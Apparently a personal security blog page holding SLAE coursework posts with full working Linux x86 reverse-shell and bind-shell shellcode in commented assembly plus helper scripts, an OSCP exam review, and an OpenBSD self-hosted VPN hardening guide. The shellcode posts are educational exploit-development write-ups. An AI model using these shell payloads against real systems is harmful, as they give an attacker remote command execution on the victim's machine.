Sunday, 9 August 2015

SLAE Assignment #2: Reverse Shell TCP Shellcode


For my SLAE (Securitytube Linux Assembly Expert) certification exam, I have to blog my 7 assignments. Below is the second exercise requested about writing a reverse shell tcp shellcode. Code can be found at my GitHub SLAE repository.


2. REVERSE SHELL TCP SHELLCODE
___________________________________________________
The reverse TCP payload is a very common choosen payload when working with exploits, as it bypasses inbound filtering on the target. It is also smaller than the bind shell version, and can therefore fit into a smaller space inside the vulnerable process.

All comments are on the code. Better view of this file on GitHub:
https://github.com/gkweb76/SLAE/blob/master/assignment2/linux_reverse_shell.asm

; Title: Linux x86 Reverse Shell TCP shellcode (77 bytes)
; Author: Guillaume Kaddouch
; SLAE-681


global _start

section .text

_start:
 
 ; Socket creation and handling with socketcall()
 ; socketcall(int call, unsigned long *args)

 ; 1 - creating socket
 ; int socket(int domain, int type, int protocol)
 ; socketfd = socket(2, 1, 0)

 ; eax = 0x66 = socketcall()
 ; ebx = 0x1 = socket()
 ; ecx = ptr to socket's args

 xor ebx, ebx                    ; zero out ebx
 mul ebx                         ; implicit operand eax: zero out eax
 mov al, 0x66                    ; 0x66 = 102 = socketcall()
 push ebx                        ; 3rd arg: socket protocol = 0
 mov bl, 0x1                     ; ebx = 1 = socket() function
 push byte 0x1                   ; 2nd arg: socket type = 1 (SOCK_STREAM)
 push byte 0x2                   ; 1st arg: socket domain = 2 (AF_INET)
 mov ecx, esp                    ; copy stack structure's address to ecx (pointer)
 int 0x80                        ; eax = socket(AF_INET, SOCK_STREAM, 0)

 
 ; 2 - dup2
 ; int dup2(int oldfd, int newfd)
 ; duplicate our socketfd into fd from 2 to 0  (stdin = 0, stdout = 1, stderror = 2)
 ; stdin/stdout/stderror become the TCP connection

 ; eax = 0x3f = dup2()
 ; ebx = socketfd
 ; ecx = fd (from 2 to 0)

 xchg eax, ebx   ; ebx = socketfd, eax = 1
 pop ecx    ; ecx = 2 (loop count)

 dup_jump:
 mov al, 0x3f   ; eax = 63 = dup2()
 int 0x80   ; dup2(socketfd, ecx)
 dec ecx    ; decrement ecx from stderror to stdin
 jns dup_jump   ; loop until ZF is set

  
 ; 3 - connect
 ; int connect(int sockfd, const struct sockaddr *addr[sin_family, sin_port, sin_addr], socklen_t addrlen)
 ; eax = connect(socketfd, [2, port, IP], 16)
 ; returns 0 on success

 ; eax = 0x66 = socketcall()
 ; ebx = 0x3 = connect()
 ; ecx = ptr to bind's args

 mov al, 0x66                    ; 0x66 = 102 = socketcall()

 push dword 0x80f1a8c0           ; 192.168.241.128 Remote IP address
 push word 0x611e                ; Remote port
 push word 0x0002                ; sin_family = 2 (AF_INET)
 mov ecx, esp   ; ecx = ptr to *addr structure

 push byte 16   ; addr_len = 16 (structure size)
 push ecx   ; push ptr of args structure
 push ebx   ; ebx = socketfd

 mov bl, 0x3                     ; ebx = 3 = connect()
 mov ecx, esp                    ; save esp into ecx, points to socketfd
 int 0x80                       ; eax = connect(socketfd, *addr[2, 7777, IP], 16) = 0 (on success)



 
 ; 4 - execve /bin/sh
 ; execve(const char *filename, char *const argv[filename], char *const envp[])
 ; execve(/bin//sh, &/bin//sh, 0)

 ; eax = 0xb = execve()
 ; ebx = *filename
 ; ecx = *argv
 ; edx = *envp

 xor eax, eax
 push edx   ; edx = 0x00000000
 push dword 0x68732f2f  ; push //sh
 push dword 0x6e69622f           ; push /bin (=/bin//sh)
 mov ebx, esp   ; ebx =  ptr to /bin//sh into ebx
 push edx   ; edx = 0x00000000
 mov edx, esp   ; edx = ptr to NULL address
 push ebx   ; pointer to /bin//sh. Stack = 0X00, /bin//sh, 0X00000000, &/bin//sh
 mov ecx, esp                    ; ecx points to argv
 mov al, 0xb
 int 0x80                        ; execve /bin/sh
The shellcode creates a socket, duplicates file descriptors, mainly 0/1/2 which are stdin/stdout/stderror so these ones becomes the TCP connection itself, and every input/output will go trough the connection. It then connects back to the IP and port specified in the shellcode, and upon a successful connection, will use execve() to launch a shell.

Once the asm file is created, I am using "asm2shellcode.sh" to build the final compiled C file:



C file created, and edited manually to better format the shellcode:



Now we can run the compiled file and check if it works. First open a netcat listening port :



Then launch the Shellcode:







We can see that the shellcode executes, and is connecting to remote IP 192.168.241.128 port 7777, as shown by the netstat command. In this example, local and remote IP are identical because we are "exploiting" ourself to check that our shellcode works. In a more common scenario, the shellcode would execute on another computer, and would connect back to us, providing a shell. Now, to be able to modify easily the IP address to connect back as well as the port, I modified a previously used python script:
# Title: Port/IP to shellcode converter
# File: port_converter.py
# Author: Guillaume Kaddouch
# SLAE-681

#!/usr/bin/python

import socket, sys

port = int(sys.argv[2])
address = str(sys.argv[1]).split('.')

ip = ""
for byte in address:
    ip += "\\x" + str(hex(int(byte)))[2:]


network_order = socket.htons(port)
hex_converted = hex(network_order)

hex1 = hex_converted[2:4]
hex2 = hex_converted[4:6]

if hex1 == "":
    hex1 = "00"

if len(hex1) == 1:
    hex1 = "0" + hex1

if hex2 == "":
    hex2 = "00"

if len(hex2) == 1:
    hex2 = "0" + hex2

print "address = %s -> %s" % (str(sys.argv[1]), ip)
print "port = %s -> \\x%s\\x%s" % (str(port), hex2, hex1)
Then we can choose the IP address and port we need, to get the shellcode translation for them:



Then we can modify the shellcode inside the C file. I have marked the two lines to modify if needed to change IP address and port:



We have a working reverse tcp shellcode with configurable IP addresses and local port.



This blog post has been created for completing the requirements of the SecurityTube Linux Assembly Expert certification: http://securitytube-training.com/online-courses/securitytube-linux-assembly-expert/

Student ID: SLAE-681


SLAE Assignment #1: Bind Shell TCP Shellcode


For my SLAE (Securitytube Linux Assembly Expert) certification exam, I have to blog my 7 assignments. Below is the first exercise requested about writing a bind shell tcp shellcode. Code can be found at my GitHub SLAE repository.


1. BIND SHELL TCP SHELLCODE
___________________________________________________
All comments are on the code:

; Title: Linux x86 Shell Bind TCP port 7777 shellcode (93 bytes)
; Author: Guillaume Kaddouch
; SLAE-681


global _start

section .text

_start:
 ; Socket creation and handling with socketcall()
 ; socketcall(int call, unsigned long *args)

 ; 1 - creating socket
 ; int socket(int domain, int type, int protocol)
 ; socketfd = socket(2, 1, 0)

 ; eax = 0x66 = socketcall()
 ; ebx = 0x1 = socket()
 ; ecx = ptr to socket's args

 xor ebx, ebx   ; zero out ebx
 mul ebx    ; implicit operand eax: zero out eax
 mov al, 0x66   ; 0x66 = 102 = socketcall()
 push ebx   ; 3rd arg: socket protocol = 0
 mov bl, 0x1   ; ebx = 1 = socket() function
 push byte 0x1   ; 2nd arg: socket type = 1 (SOCK_STREAM)
 push byte 0x2   ; 1st arg: socket domain = 2 (AF_INET)
 mov ecx, esp   ; copy stack structure's address to ecx (pointer)
 int 0x80   ; eax = socket(AF_INET, SOCK_STREAM, 0)


 ; 2 - binding port
 ; int bind(int sockfd, const struct sockaddr *addr[sin_family, sin_port, sin_addr] , socklen_t addrlen)
 ; bind(socketfd, [2, 24862, 0], 16)

 ; eax = 0x66 = socketcall()
 ; ebx = 0x2 = bind()
 ; ecx = ptr to bind's args

 xchg edi, eax   ; save socketfd into edi
 mov al, 0x66   ; 0x66 = 102 = socketcall()
 pop ebx    ; ebx = 2 = bind()
 pop esi    ; esi = 1
 push edx   ; edx = 0 (INADDR_ANY) = host 0.0.0.0
 push word 0x611e  ; sin_port = 24862 = port 7777
 push word bx   ; sin_family = 2 (AF_INET)
 push byte 16   ; addr_len = 16 (structure size)
 push ecx   ; ecx = esp = ptr to args struture
 push edi   ; socketfd. Stack is now [0, 24862, 2], 16, *ptr, socketfd
 mov ecx, esp   ; save esp into ecx, points to socketfd
 int 0x80   ; eax = bind(socketfd, *addr[SYS_BIND, 7777, 0.0.0.0], 16) = 0 (on success)


 ; 3 - listening
 ; int listen(int sockfd, int backlog)
 ; listen(socketfd, 0)

  ; eax = 0x66 = socketcall()
        ; ebx = 0x4 = listen()
 ; ecx = ptr to socketfd

 xor edi, edi   ; from now on we will use edi to push NULLs on stack
 pop edx    ; save socketfd
 push edi   ; 2nd arg: 0X0 = backlog
 push edx   ; 1st arg = socketfd
 mov bl, 0x4   ; ebx = 4 = listen()
 mov ecx, esp   ; ptr to args structure on stack (socketfd, 0)
 mov al, 0x66   ; 0x66 = 102 = socketcall()
 int 0x80   ; listen(socketfd, 0)


 ; 4 - accept
 ; int accept(int sockfd, struct sockaddr *addr, socklen_t *addrlen)
 ; accept(socketfd, 0, 0)

 ; eax = 0x66 = socketcall()
 ; ebx = 0x5 = accept()
 ; ecx = ptr to socketfd

 push edi   ; 3rd arg: addrlen = 0x0
 push edi   ; 2nd arg: addr = 0x0
 push edx   ; 1st arg: previously saved socketfd
 mov ecx, esp   ; ecx points to socketfd
 mov bl, 0x5   ; ebx = 5 = accept()
 mov al, 0x66   ; 0x66 = 102 = socketcall()
 int 0x80   ; accept(socketfd, 0, 16)


 ; 5 - dup2
 ; int dup2(int oldfd, int newfd)
 ; duplicate our socketfd into fd from 14 to 0  (stdin = 0, stdout = 1, stderror = 2)
 ; stdin/stdout/stderror become the TCP connection

 xchg eax, ebx   ; eax = 5, ebx = accepted_socketfd
 pop ecx    ; ecx = 14

dup_jump:
 mov al, 0x3f   ; eax = 63 = dup2()
 int 0x80   ; dup2(accepted_socketfd, 14)
 dec ecx    ; decrement ecx (newfd)
 jns dup_jump   ; loop until newfd is 0 (= stdin)


 ; 6 - execve /bin/sh
 ; execve(const char *filename, char *const argv [], char *const envp[])
 ; execve(/bin//sh, &/bin//sh, 0)

 push edi
 push dword 0x68732f2f  ; push //sh
 push dword 0x6e69622f  ; push /bin (=/bin//sh)
 mov ebx, esp   ; store ptr to /bin//sh into ebx
 push edi   ; eax = 0X00000000
 mov edx, esp   ; ptr to an empty array
 push ebx   ; pointer to /bin//sh. Stack = 0X00, /bin//sh, 0X00000000, &/bin//sh
 mov ecx, esp   ; ecx points to argv
 mov al, 0xb
 int 0x80   ; execve /bin/sh
The shellcode creates a socket, then bind to a port, make it listenining, and accept new connections on it. Once a connection is made, it duplicates file descriptors, mainly 0/1/2 which are stdin/stdout/stderror so these ones becomes the TCP connection itself, and every input/output will go trough the connection. Finally, execve() launch a shell.

Once the asm file is created, I am using a bash script to assemble/link/compile it. I am including it once for the first assignment, but I will not in further blog posts:
# Title: ASM to Shellcode converter
# File: asm2shellcode.sh
# Author: Guillaume Kaddouch
# SLAE-681

 #!/bin/bash
clear

file=$1
steps="5"

if [ -z $file ]; then
        echo "[-] No argument given, exiting."
        exit
fi

extension=`echo $file | grep '.asm'`

if [ ! -z $extension ]; then
        echo "[!] Extension specified, please remove it."
        exit
fi

if [ ! -e $file.asm ]; then
        echo "[-] "$1".asm file does not exist."
        exit
fi

echo '[*] 1/'$steps': Assembling "'$file'.asm" with Nasm ... '
echo "nasm -f elf32 -o "$file".o "$file".asm"
nasm -f elf32 -o $file.o $file.asm
echo ""

if [ -z $file.o ]; then
        echo "[-] Error while assembling, "$file".o not created"
        exit
fi

echo '[+] 2/'$steps': Linking ...'
echo "ld -o "$file" "$file".o"
ld -o $file $file.o
echo ""

if [ -z $file ]; then
        echo "[-] Error while linking, "$file" not created"
        exit
fi

Once we did a great number of times the same steps, it is convenient to automate the process:



It builds the following final C file (shellcode cutted in the screenshot):



Now we can run the compiled file and check if it works:



We can see that the shellcode executes, and is binding to local port 7777, as shown by the netstat command. Now let's try to connect to it:



It works as expected, once connected we are greeted with a shell. Then, to be able to modify easily the local port, without recompiling the shellcode, I have made a quick python script "port_converter.py":
# Title: Port to Shellcode converter
# File: port_converter.py
# Author: Guillaume Kaddouch
# SLAE-681

#!/usr/bin/python

import socket, sys

port = int(sys.argv[1])
network_order = socket.htons(port)
hex_converted = hex(network_order)

hex1 = hex_converted[2:4]
hex2 = hex_converted[4:6]

if hex1 == "":
    hex1 = "00"

if len(hex1) == 1:
    hex1 = "0" + hex1

if hex2 == "":
    hex2 = "00"

if len(hex2) == 1:
    hex2 = "0" + hex2

print "port %s" % str(port)
print "network order = %s" % str(network_order)
print "hexadecimal = %s" % hex_converted
print "shellcode format = \\x%s\\x%s" % (hex2, hex1)
Then we can choose the port we like, to get the shellcode translation for that port:



Then we can modify just two bytes in the shellcode in the C file:



That is all there is about it, we have a working bind tcp shellcode with a configurable local port!



This blog post has been created for completing the requirements of the SecurityTube Linux Assembly Expert certification: http://securitytube-training.com/online-courses/securitytube-linux-assembly-expert/

Student ID: SLAE-681


Tuesday, 14 July 2015

My OSCP Review




What is OSCP?
___________________________________________________
Offensive Security Certified Professional (OSCP) is a certification you gain after having passed the exam of the Penetration Testing With Kali (PWK) course. As you may have noticed, I was rather silent lately on my blog, because I was in fact working full time the PWK course to get my OSCP, that I just managed to get this week.

Offensive Security provides 3 online courses, enabling you to have 3 certifications:
- Penetration Testing with Kali Linux (PWK)-> OSCP
- Cracking The Perimeter (CTP) -> OSCE
- Offensive Security Wireless Attacks (WiFu) -> OSWP

There is two other advanced courses only available on site live at Black Hat USA in Las Vegas:
- Advanced Windows Exploitation (AWE) -> OSEE
- Advanced Web Attacks and Exploitations (AWAE) -> OSWE



1. THE COURSE
___________________________________________________
The course material is made of a PDF document and many videos, and contains besides the course, some exercises to do. To work on them, you have a Kali Virtual Machine given by Offensive Security, which is connected to a VPN to allow you to access the online Lab. The course is very well explained, and the PDF and videos complete each other nicely. The entire course topics are publicly available in the PWK Syllabus PDF. The course covers a wide range of topics such as Web attacks (XSS, SQL injection, LFI/RFI), basic stack-based overflow on Windows and Linux, enumeration using various tools and protocols, privilege escalation, password cracking, Metasploit usage, etc... One important thing to note about the course, is that it does not explain or teach you everything you'll need, you must dig deeper on your side to acquire more knowledge.

The course, although teaching you some tools and methods, obviously, is above all about teaching you how to think in front of an unknown problem. It can happen in the lab network, I'll talk in a moment, to need tools not covered in the course (they are included in Kali, you must be curious and check them). The course cannot cover the thousands of tools available. For instance if medusa and hydra are covered, nothing stops you to use patator instead. The bottom line is that after having taken the course, and practised, you should be able to overcome an unusual situation requiring a creative solution, using tools or exploits you never used. The hacker mindset!


2. THE LAB NETWORK
___________________________________________________
The lab network is made of many vulnerable hosts and servers (I won't spoil the exact number!), divided in separate networks: public, developers, IT, etc... This means it is not a flat network, and to get beyond the public network which is available from the start, you will need to pivot trough compromised hosts to reach other networks. This leads to a very real-life training simulation, requiring all skills to be used, not just direct attacks on directly available servers. There is a variety of Operating Systems, not just Windows and Linux, which makes the lab really fun to practice. The difficulty is very different from server to server, there is no linearity or difficulty order, and some server are notoriously difficult. Three servers are apart from the others, difficulty speaking, and they are rightfully named Pain, Sufferance, and Humble. I got all servers from the lab, except Sufferance. Not bad, even though I would have liked to get this last one :-)

The hardest part for me was after finishing the course, and starting the lab network. Being left free, unguided, in this unknown network, was intimidating. The first servers were very painful, as I attacked some of the hardest of the public network without knowing it (I learned later they were known to be difficult). Also, at first my toolset was small, it only grown as I got more servers. You can connect on the Offsec IRC channel to chat with other students, and if you get stuck on a server for many days, you can talk to an admin to request an hint. Admins obviously do not give any solution, but are rather giving a nudge in the right direction, that sometimes also needs to be deciphered :-) When I reached 30 servers owned, I did not feel ready at all for the exam. That number cannot be relied on for anyone else, as it totally depends on one's experience. If someone is already a pentester, and is trying to get OSCP to have a good certification, then he could probably get 10-15 servers and try the exam. Some hacks few servers and have their exam first try, others have all servers and yet still fail their first exam try. Anyway, I extended my 3 months lab time for another 2 months, and by the 45th server, I felt more confident. I continued until I get them all, except one. This is not required to have all servers to pass the exam, but it was my choice to gain as much experience as I could. I don't really know how many hours I worked on it for 5 months, but probably 20 hours per week or more (my spare time was dedicated to it). Once again, depending on your current experience and skills, the time needed to work on it will highly vary. I have read about people who only worked 2 months, while others worked on it 8 months. It also depends on the available time you have per week.


3. THE EXAM
___________________________________________________
The exam is a 24 hours marathon where you have to hack into a list of given servers, which gives you different points depending on the server difficulty (from 10 to 25 points per server). You need at least 70 points to pass the exam. The usage of Metasploit is highly restricted, you have to know to do it all manually. Each step must be in the Report, where the course exercises and lab servers you got are too. The exam is not easy, and is totally different of other exams where you can learn some courses, and answer memorized pre-formated knowledge. The course only shows you the way, you have to demonstrate your "out of the box" thinking while the exam. I went to my first try pretty confident, given all of the servers I got in the public network. However I failed my first try for many reasons... First, under the stress and time pressure, instead of doing a whole enumeration per server as I used to, I did partial enumeration and rushed as soon as I found a potential vulnerability. How wrong it was, as it made me lost some time and brought me some frustration. Secondly, I totally blocked on my very first server (25 points), and after 7 hours on it I have given up on it. This unfortunate start was very damaging to me: brain fried, lowering of mood, and 0 points. It took me some time to regain a fresh mind after a good break. I decided to work on other servers, and I had to use everything I knew to get with great difficulty 3 servers. At that time I had 50 points. Then I tried to continue my first server, and I used my 3 remaining hours on it without progressing. That was a full 24 hours exam without sleeping. The next 24h I sent my report to Offensive Security, knowing I had failed. That was a very hard experience, as I did not expected to fail the exam. I decided at that point to extend my lab for 2 weeks, and keep practising, and analysing the mistakes I did. I practised what I found to be my weak spots, and tried a second time, with success :-)

In my second try, I was like on steroids (I did not take any substance besides coffee!), I knew what was coming to me, I knew my previous mistakes, and I was ready to fight, while at the same time being afraid by my previous failure. This time I started the special challenge and got 25 points in less than 2 hours, it was a strong mood reliever! I took no break and got another easy server which brought me to a total of 35 points. I did not repeat my previous mistake of rushed enumeration... After this good start, I took a little break, allowing my brain to cool off (another thing I got wrong in my first attempt). I then attacked two other servers, with one requiring 4 hours of my time, as I had a very difficult time to escalate my privileges. 9 hours after I started, I already had a user shell on the last difficult server, for a total of more than 85 points so I knew it was won. I was very confident I could escalate my privileges on it and reach a full score of 100 points. I allowed myself a one hour break at that time to eat and watch some TV :-) I expected to get root on the server quite quickly, but I was wrong. It took me another 8 hours to find the solution! When at 5am, you get your root shell on the last server, you discover dance skills you never knew you had ;-) This time I allowed myself 3-4 hours of sleep, before waking up and writing my report. I did my exam on Thursday and Friday, finished my report Friday, and got my confirmation email from Offensive Security the next Monday. Offensive Security does not tell you what is your score, only if you failed or passed. It is possible to loose some points if not all steps are provided in the report, or if Metasploit was used on a restricted target.


CONCLUSION :
___________________________________________________
The PWK course and OSCP exam were a wonderful experience, even if it was with tears and blood. That is the kind of experience, not just an academic course, where you hit many learning plateau, and where to break them and keep progressing you need to apply the Offsec moto: "Try Harder". It really works, many times I felt stuck, and not giving up and keeps trying was very rewarding. The course is for people who knows to learn by themselves, and are very motivated to obtain the OSCP certification. I can only highly recommend this course, as it was a real life changing experience to me. I would like to take the occasion to thanks all of the Offensive Security staff for bringing us such a high quality practical course!

Now I'm interested by the OSCE (Expert) certification, but I need to work some skills before attempting it. I'm now working full time on that goal.


Sunday, 11 January 2015

BE YOUR OWN VPN PROVIDER WITH OPENBSD





2017-04-30 : **UPDATED VERSION** AT THIS LINK WITH OPENBSD 6.1

INTRODUCTION :
___________________________________________________
In my previous articles we have seen how to build a home router being a VPN gateway based off FreeBSD or OpenBSD. In these cases, we used an external VPN provider to connect to, and route all of our encrypted traffic through it. However, while I received positive feeback, I also had legitimate questions about the trust given to the VPN provider. What if the VPN provider is not honest and is in fact logging despite stating the opposite? What if he is malicious and watch his clients traffic? The VPN provider could also be perfectly honest, but could be breached (OS vulnerability, OpenSSL/Heartbleed, Shellshock, etc...) by attackers then logging clients traffics. Or simply, may be we perfectly trust it, but we just want to be in control of the VPN server itself.

Managing and controlling your own VPN server gives you the following advantages: no concurrent clients connections limit, dedicated server not used simultaneously by strangers, the choice of the OS and security parameters, and complete trust on your provider (yourself). On the other hand, depending on the server hosting provider and its prices, you may have a monthly bandwitdh limit, and in all cases, a server to maintain continuously (security patches, monitoring, backups, etc...). Also, the price will probably be a little higher when hosting your own server online. Using AirVPN I have a yearly price of 54€. Using a dedicated Virtual Private Server (VPS) for 5€ per month for instance, it makes 60€ per year. Using a VPS is cheaper than using a hardware dedicated server, while still being a dedicated (virtual) server. VPS can also be saved with whole OS snapshots, which is handy before attemping an upgrade.

Then, which VPS provider to choose? I have looked at a lot of them, looking for a rare one natively providing FreeBSD and OpenBSD. Better yet, allowing the use of custom ISO and booting onto it, and having a console access for the install or for rebooting into single user mode. I was looking at being able to do snapshots too, and have a choice of different datacenters in various countries. I have found such provider: Vultr. You can of course follow this article if you use or plan of using any other web hoster, dedicated server or VPS. It just happened that Vultr had all of the features I needed, and even more such as a Two-Factor Authentication (2FA) with Yubikey (Google Authenticator possible too). As a bonus they accept Bitcoin payments.

In the following, I assume you have chosen your server provider, and have a running OpenBSD 5.6 freshly installed. If you want installation instructions, you can check my OpenBSD VPN gateway article, keeping in mind it's best to let your interface in DHCP while installing it for the first time on your VPS. I also assume you have one root and one user account, the user account being in the wheel group, and allowed to use sudo, as described in my aforementioned article.



SUMMARY :
___________________________________________________


1. PROTECTING YOUR NAKED SERVER
___________________________________________________
OpenBSD default settings are very secure, and no services are listening on the outside except SSH. However SSH is listening on the default 22 port, accepting password authentication. Before configuring our server, it is best to block any inbound access except from our computer public IP, and then take our time to lock down SSH. Let's start by a basic pf ruleset:
$ sudo vi /etc/pf.conf
block in quick from ! x.x.x.x # your public IP address
pass out quick

Replace "x.x.x.x" by your computer public IP address you are connecting from. You can check on http://whoer.net/ if you don't know it. Of course this ruleset is temporary. Now apply it:
$ sudo pfctl -f /etc/pf.conf

We now have few things to do: create an SSH key, disable root login and password base authentication, and make SSH listening on another port as a bonus (to avoid automated scans adding "noise" to our logs). For Linux/BSD clients you can create a key with -t ed25519 as below, but for Windows your SSH client may only be compatible with keys created using -t rsa.
$ ssh-keygen -t ed25519

Then copy your public key to ~/.ssh/authorized_keys :
$ cp ~/.ssh/id_ed25519.pub ~/.ssh/authorized_keys

Copy the content of your private key "~/.ssh/id_ed25519" on the remote computer you will use to connect to your router, and set a permission of "600" on it. If on Linux or BSD, you will be able to connect later with "ssh -i your_private_key your_server_ip".

Now modify your SSH server with this temporary configuration, the TCP port 21598 being an example, choose the port you want. You can choose a higher port to avoid scans, or choose a port such as 443 to be able to connect to your server from everywhere, when outbound TCP port 22 could be blocked:
$ sudo vi /etc/ssh/sshd_config
# Modify default listening port
Port 21598

# Authentication
PasswordAuthentication yes # temporary
PermitRootLogin no
AllowUsers YOUR_USER
AuthorizedKeysFile .ssh/authorized_keys
AllowTcpForwarding no
UsePrivilegeSeparation sandbox # Default for new installations.
Subsystem sftp /usr/libexec/sftp-server

Restart sshd :
$ sudo /etc/rc.d/sshd restart

Connect from your remote computer with the private key, for instance with "ssh -i your_private_key your_server_ip", and check that connecting with your regular user and with the SSH key fully works. Once it's working, modify the following line in /etc/ssh/sshd_config :
PasswordAuthentication no

Restart sshd :
$ sudo /etc/rc.d/sshd restart

On the client side, you can enable SSH key fingerprint visual display in /etc/ssh/ssh_config which displays your SSH key in hex format and an ACSCII graphic everytime you connect. Once you get used to the ASCII graphic of your server, you should notice if all of a sudden it is completely different (probably a man-in-the-middle):
$ sudo vi /etc/ssh/ssh_config
# Display fingerprint in hex and ASCII graphic when connecting
VisualHostKey yes

You now have a SSH listening on a non default port, root denied from connecting in, password authentication disabled, and authencation based on SSH keys and passphrase. For further SSH hardening, read the following excellent article describing which protocols and ciphers to use for optimum security. I may in the future update the SSH settings given in this article to follow some of the advises from this page.

Finally, to update the system and packages easily, I really like to use "openup" from M:Tier:
$ ftp https://stable.mtier.org/openup
$ chmod +x openup
$ sudo openup
===> Checking for openup update
===> Installing/updating binpatch(es)
===> Updating package(s)


M:Tier is a third party not related to OpenBSD project however, so you have to decide if you wish to trust their repository or not.




2. SYSTEM & NETWORK
___________________________________________________
A few tweaks we can make before configuring further our server. As Vultr VPS are hosted on SSD, it is a good idea to add in the fstab file the mount options "softdep" and "noatime". The first one increase disk performances, while the second will prevent the "last access time" file properties to be written:
$ sudo vi /etc/fstab
YourDiskDUID.b none swap sw
YourDiskDUID.a / ffs rw,noatime,softdep 1 1
YourDiskDUID.k /home ffs rw,nodev,nosuid,noatime,softdep 1 2
YourDiskDUID.d /tmp ffs rw,nodev,nosuid,noatime,softdep 1 2
YourDiskDUID.f /usr ffs rw,nodev,noatime,softdep 1 2
YourDiskDUID.g /usr/X11R6 ffs rw,nodev,noatime,softdep 1 2
YourDiskDUID.h /usr/local ffs rw,nodev,noatime,softdep 1 2
YourDiskDUID.j /usr/obj ffs rw,nodev,nosuid,noatime,softdep 1 2
YourDiskDUID.i /usr/src ffs rw,nodev,nosuid,noatime,softdep 1 2
YourDiskDUID.e /var ffs rw,nodev,nosuid,noatime,softdep 1 2

Your server has booted with DHCP and has acquired its network configuration from your VPS provider. As the server IP address is fixed, I prefer setting manually the network configuration to avoid relying on another server (VPS provider's DHCP and DNS) I do not control. Modify the following files according to your server public ip address, mask, and gateway:
$ sudo vi /etc/hostname.vio0
inet server_public_ip server_netmask

Add the gateway :
$ sudo vi /etc/mygate
server_gateway_ip

Our server will forward traffic between its VPN interface and its default network interface. We have to enable forwarding:
$ sudo sysctl net.inet.ip.forwarding=1
$ sudo vi /etc/sysctl.conf
net.inet.ip.forwarding=1

At this point your still rely on your provider DNS server in /etc/resolv.conf, we will take care of that in the next step.




3. DNS
___________________________________________________
We will use DNSCrypt to make our DNS requests encrypted, and Unbound to have a local DNS cache. This will allow us to avoid using our VPS provider DNS servers, and will also be useful to your future VPN clients which will be able to use your VPN server as their DNS server too, if they wish too (e.g mobile phones). Both dnscrypt and unbound will listen on the localhost only, not to the outside. They will be reachable nonetheless later to your VPN clients trough the VPN tunnel, using a firewall redirection.

$ export PKG_PATH=http://ftp.fr.openbsd.org/pub/OpenBSD/5.6/packages/amd64/
$ sudo pkg_add dnscrypt-proxy
$ sudo vi /etc/rc.local
# DNSCrypt
/usr/local/sbin/dnscrypt-proxy -a 127.0.0.1:40 -u _dnscrypt-proxy -d -l /dev/null -R dnscrypt.eu-dk

You can choose your dnscrypt enabled DNS server at the following list (choose a logless DNSSEC enabled one).

$ sudo /usr/local/sbin/dnscrypt-proxy -a 127.0.0.1:40 -u _dnscrypt-proxy -d -l /dev/null -R dnscrypt.eu-dk

We now configure and enable unbound, already included in the base system. Unbound will drop privileges and will be chrooted in /var/unbound:
$ sudo vi /var/unbound/etc/unbound.conf
server:
username: _unbound
directory: /var/unbound
chroot: /var/unbound
do-not-query-localhost: no
interface: 127.0.0.1
access-control: 0.0.0.0/0 refuse
access-control: 127.0.0.0/8 allow
access-control: 10.8.0.0/24 allow
hide-identity: yes
hide-version: yes
auto-trust-anchor-file: "/var/unbound/db/root.key"

forward-zone:
name: "." # use for ALL queries
forward-addr: 127.0.0.1@40 # dnscrypt-proxy

Do not forget to modify your /etc/resolv.conf:
$ sudo vi /etc/resolv.conf
nameserver 127.0.0.1 # unbound is listening there at port 53

Run Unbound, and enable it to launch at startup :
$ sudo /etc/rc.d/unbound start
$ sudo vi /etc/rc.conf.local
# Unbound
unbound_flags="-c /var/unbound/etc/unbound.conf"

Test that your DNS chain is working:
$ host openbsd.org
openbsd.org has address 129.128.5.194
openbsd.org mail is handled by 6 shear.ucar.edu.
openbsd.org mail is handled by 10 cvs.openbsd.org.

Unbound is listening on locahost port 53, and when contacted is forwarding to dnscrypt listening on locahost port 40, itself contacting an external dnscrypt enabled DNS server.




4. FIREWALL
___________________________________________________
The pf ruleset below does many things:
- denies all inbound, except SSH and OpenVPN on non default ports
- protects SSH from SYN flood, and bruteforce
- detects scans on common ports and blacklist the miscreants for 24H
- allows VPN clients to make DNS requests to unbound on localhost (which uses dnscrypt)
- does not log blocked network traffic from the provider's DHCP

You should modify this ruleset according to your chosen SSH and VPN listening ports (we will setup OpenVPN later, but you can choose a random port now). The scan detection and blacklisting concept can theoretically backfire, if someone sends spoofed packets with trusted IPs. However, as it is implemented, only incoming traffic will match the blacklist table. Therefore, if a spoofed packet is sent with a website IP you trust, it will not prevent you to access that website at all as your traffic will be outbound. Also, as we will write a script to parse pf logs and add IPs into the blacklist, we will add an exception for our own trusted client computer public IP address to avoid being locked out. As a last resort the remote console access from the VPS provider could allow us to login, if we were totally locked out for any reason. This adaptative behavior is not mandatory fo your VPN server to be operational, but it is useful to block automatic scans on the Internet to query your SSH and VPN ports once they hit previously ports in your watchlist. Additionally, while I show below an example with selected ports in the watchlist, you could test putting the whole ports range, excluding your two open ports (more aggressive).

$ sudo vi /etc/pf.conf
# "Being your own VPN provider with OpenBSD"
# Guillaume Kaddouch: http://networkfilter.blogspot.com/
# ruleset last modified: 2015 January 11

# VARIABLES, MACRO, AND TABLES
# ---------------------------------------------------------------------------------------
egress="vio0" # your server network interface, modify accordingly
vpn="tun0"
vpn_ip="10.8.0.1"
all_networks="0.0.0.0/0"
private_networks="10.0.0.0/8, 172.16.0.0/12, 192.168.0.0/16"
ssh_port="21598" # just a random example, modify to match your chosen SSH port
vpn_port="21600" # just a random example, modify to match your chosen OpenVPN port

# ports watchlist example, modify as you wish.
# Match against this will be put in "badguys" table below, by an external scheduled script
bad_ports="{ ftp-data, ftp, ssh, telnet, smtp, domain, http, pop3, ntp, netbios-ns, \
netbios-dgm, netbios-ssn, https, microsoft-ds, ms-sql-s, ms-sql-m, \
mysql, postgresql }"

table <internet> const { $all_networks, !self, !$private_networks }
table <myself> const { self }
table <bruteforce> persist
table <badguys> persist

# GLOBAL POLICY
# ---------------------------------------------------------------------------------------
block log all
set block-policy drop
set loginterface egress
set skip on lo
match in all scrub (no-df max-mss 1440 random-id)
block in log quick from <bruteforce> label "bruteforce"
block in log quick from <badguys> label "old_guys"

# DEFAULT TRAFFIC TAGGING
# --------------------------------------------------------------------------------
match in on egress proto tcp from <internet> to port $ssh_port
match in on egress proto { udp tcp } from <internet> to port $bad_ports
match in on egress proto udp to port $vpn_port
match in on $vpn proto { icmp udp tcp }
match in on $vpn proto { udp tcp } to $vpn_ip port domain
match out on egress tagged VPN_TUN_IN
match out on egress proto tcp from <myself> to port { http https }
match out on egress proto { udp tcp } from <myself> to port domain
match out on egress proto udp from <myself> to port https
